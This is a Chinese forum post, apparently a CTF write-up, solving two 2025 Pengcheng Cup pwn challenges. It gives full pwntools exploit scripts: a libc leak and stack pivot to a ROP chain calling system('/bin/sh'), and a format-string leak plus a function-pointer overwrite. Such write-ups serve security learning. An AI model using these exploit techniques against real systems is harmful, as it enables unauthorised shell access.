找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1757

积分

0

好友

257

主题
发表于 4 天前 | 查看: 10| 回复: 0

本题解分析了两道来自2025年鹏城杯的Pwn挑战,分别利用了栈迁移格式化字符串漏洞技术。环境自带libc 2.35。

1. Pivoting:栈迁移利用

程序开始时泄露了一个栈地址。

图片

随后read函数读取一个名字到buf,存在溢出但无法覆盖关键数据。

图片

核心逻辑在Business()函数中,通过一个标志位循环。

图片

在特定分支会进行第二次read,产生一个明显的溢出。另一个分支则会打印*buf的内容并退出循环,且buf内容可控。由于未开启PIE,可以通过将buf指向GOT表来泄露libc地址。

首先尝试泄露libc基址。

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']

#sh = remote('xxx',8080)
#sh = process("./pwn")
sh = gdb.debug("./pwn","b main\nb Business\nb *0x40139a\nb *0x40130e\n c")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

got_write = elf.got["write"]
sh.send("A" * 20)
sh.sendlineafter("you?", "1")
sh.sendlineafter("withdraw?", "10")
sh.sendafter("sure?", p64(got_write))
sh.sendlineafter("you?", "0")
sh.sendlineafter("save?", "10")
sh.interactive()

执行后成功泄露出write函数的地址。

图片

接下来测试栈溢出能否覆盖返回地址。使用规律字符串进行探测。

sh.sendafter("sure?", p64(got_write)+"A"*8+"B"*8+"C"*8+"D"*8+"E"*8+"F"*8+"G"*8+"H"*8+"I"*8+"J"*8+"K"*8)

图片

测试发现,最后一个"K"*8刚好覆盖到返回地址。由于泄露libc和覆盖返回地址需要在同一次Payload中完成,我们无法在获取libc地址后再修改返回地址。因此,第一次攻击先让程序返回到startmain函数,进行第二次循环。

sh.sendafter("sure?", p64(got_write)+"A"*0x50+p64(0x4010D0))

在第二次循环中,我们获得了控制一个返回地址的机会。结合开头泄露的栈地址,标准解法是进行栈迁移。通过计算泄露的栈地址到buf的距离,在Padding区域布置ROP链,最后将栈迁移到该区域。

完整利用脚本如下:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']

#sh = remote('xxx',8080)
sh = process("./pwn")
#sh = gdb.debug("./pwn","b main\nb Business\nb *0x40139a\nb *0x40130e\n c")

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
rop = ROP(libc)

got_write = elf.got["write"]
libc_write = libc.sym['write']
start = 0x4010D0
leave = 0x4013C8
ret = 0x4013C9

# 第一轮:泄露libc和栈地址,并重启程序
sh.send("A" * 20)
sh.sendlineafter("you?", "1")
sh.sendlineafter("withdraw?", "10")
sh.sendafter("sure?", p64(got_write)+"A"*0x50+p64(start))
sh.sendlineafter("you?", "0")
sh.sendlineafter("save?", "10")

write_addr = u64(sh.recvuntil("\x7f")[-6:]+b"\x00\x00")
print("write_addr: " + hex(write_addr))
base_addr = write_addr - libc_write
print("base_addr: " + hex(base_addr))

stack_addr = u64(sh.recvuntil("\x7f")[-6:]+b"\x00\x00")
print("stack_addr:"+hex(stack_addr))

system = base_addr + libc.sym["system"]
binsh = base_addr + libc.search("/bin/sh").next()
pop_rdi = base_addr + rop.find_gadget(['pop rdi', 'ret'])[0]

# 第二轮:布置ROP链并执行栈迁移
sh.sendafter("\x00\x00\n", "A" * 20)
sh.sendlineafter("you?", "1")
sh.sendlineafter("withdraw?", "10")
sh.sendafter("sure?", p64(got_write) + p64(ret) + p64(pop_rdi) +  p64(binsh) + p64(system) + "A"*40 + p64(stack_addr - 360) + p64(leave))
sh.interactive()

备选方案:one_gadget
此题也可利用one_gadget。检查其条件,仅需满足rbp+某个偏移为NULL即可。由于我们可以控制rbp,只需在栈上寻找合适位置。在网络安全的漏洞利用中,这种对寄存器状态的精确控制是关键。

one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
sh.sendafter("sure?", p64(got_write) + "A" * 0x48 + p64(stack_addr - 0x98) + p64(one[6] + base_addr))

此方法同样能成功获取shell。

图片

2. myzoo:格式化字符串漏洞利用

程序保护全开,自带libc 2.35。运行后赠送一个text段的地址作为礼物。功能包括给狗喂食、给猫或鸟重命名。

图片

逆向分析主要函数,程序分配了4个堆块,分别对应ptrdog_infocat_infobird_info。查看dog()函数:

图片

ptr用作临时存储,会将dog_info结构体的属性复制到ptr上然后打印。关键点在于ptr+0x50处存储了一个函数指针(sub_12C8),后续会调用call ptr+0x50

if(ptr==3)分支负责用dog_info的数据填充ptr,但call ptr+0x50的执行并不依赖此条件。因此,若能完全控制ptr,就能实现任意地址跳转。

cat()函数逻辑类似,调用call ptr+0x28,并且可以通过read()覆盖ptr+0x28处的数据。

bird()函数则可以覆盖ptr上更大范围的数据。

为清晰起见,在IDA中定义一个结构体:

struct ptr_obj{
  int state;
  char pad0[4];
  char name[32];
  int attr1;
  int attr2;
  char desc[32];
  void (__fastcall *func)(char *);
};

ptr的类型设置为struct ptr_obj *ptr后,代码可读性增强。

图片

利用思路:先通过bird()控制ptr->func,再通过cat()控制ptr->name,最后在dog()中调用ptr->func(ptr->name)。初步尝试用puts_plt泄露puts_got的值,但发现该调用只会打印ptr->name(即puts_got地址本身),而非该地址存储的libc地址。

因此需要寻找其他信息泄露途径。注意到dog()函数中有一个专属的xxx_printf()调用,其参数ptr->name可控,这里存在一个格式化字符串漏洞

图片

检查栈布局,发现可以通过%23$p泄露libc地址。

图片

完整利用链如下:

  1. bird()中设置ptr->funcstart,并填充ret指令地址防止cat()中的调用崩溃。
  2. cat()中设置ptr->name为格式化字符串%23$p
  3. 进入dog(),触发格式化字符串漏洞泄露libc地址,并跳回start
  4. 重复步骤1-3,但此次将ptr->func设置为systemptr->name设置为/bin/sh,最终获取shell。

完整利用脚本:

from pwn import *
context.log_level = 'debug'
context.arch='amd64'

#sh = gdb.debug("./pwn", "b *0x55555555580b\nb *0x555555555997\nb *0x555555555642\n c")
sh = process("./pwn")
libc = ELF("./libc.so.6")

base_text = int(sh.recvuntil("2c9")[-12:],16) - 0x12c9
print("base_text:"+hex(base_text))
ret = base_text+0x12FA
start = base_text+0x11e0

# 第一轮:利用格式化字符串漏洞泄露libc
# bird: 设置 ptr->func = start
sh.sendlineafter("\n","3")
sh.sendlineafter("\x90\x97\n","yes")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n", "A"*4 + p64(ret) + "B"*24 + p64(start))

# cat: 设置 ptr->name = %23$p
sh.sendlineafter("2c9\n","2")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n","%23$p")

# dog: 触发漏洞,泄露地址并返回start
sh.sendlineafter("2c9\n","1")
base_libc = int(sh.recvuntil("d90")[-12:],16) - 0x29d90
print("base_libc:"+hex(base_libc))
system = base_libc + libc.sym["system"]

# 第二轮:调用system("/bin/sh")
# bird: 设置 ptr->func = system
sh.sendlineafter("\n","3")
sh.sendlineafter("\x90\x97\n","yes")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n", "A"*4 + p64(ret)+ "B"*24 + p64(system))

# cat: 设置 ptr->name = /bin/sh
sh.sendlineafter("2c9\n","2")
sh.sendlineafter("\xbc\x9f\n","yes")
sh.sendlineafter("\x90\xa7\n","/bin/sh\x00")

# dog: 触发 system("/bin/sh")
sh.sendlineafter("2c9\n","1")
sh.interactive()

攻击成功,获取shell。

图片




上一篇:深入解析Triton GPU编程:SPMD模型与Python eDSL实战指南
下一篇:New API部署与使用指南:一站式AI大模型网关,统一管理GPT/Claude/Gemini
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 21:11 , Processed in 0.284904 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表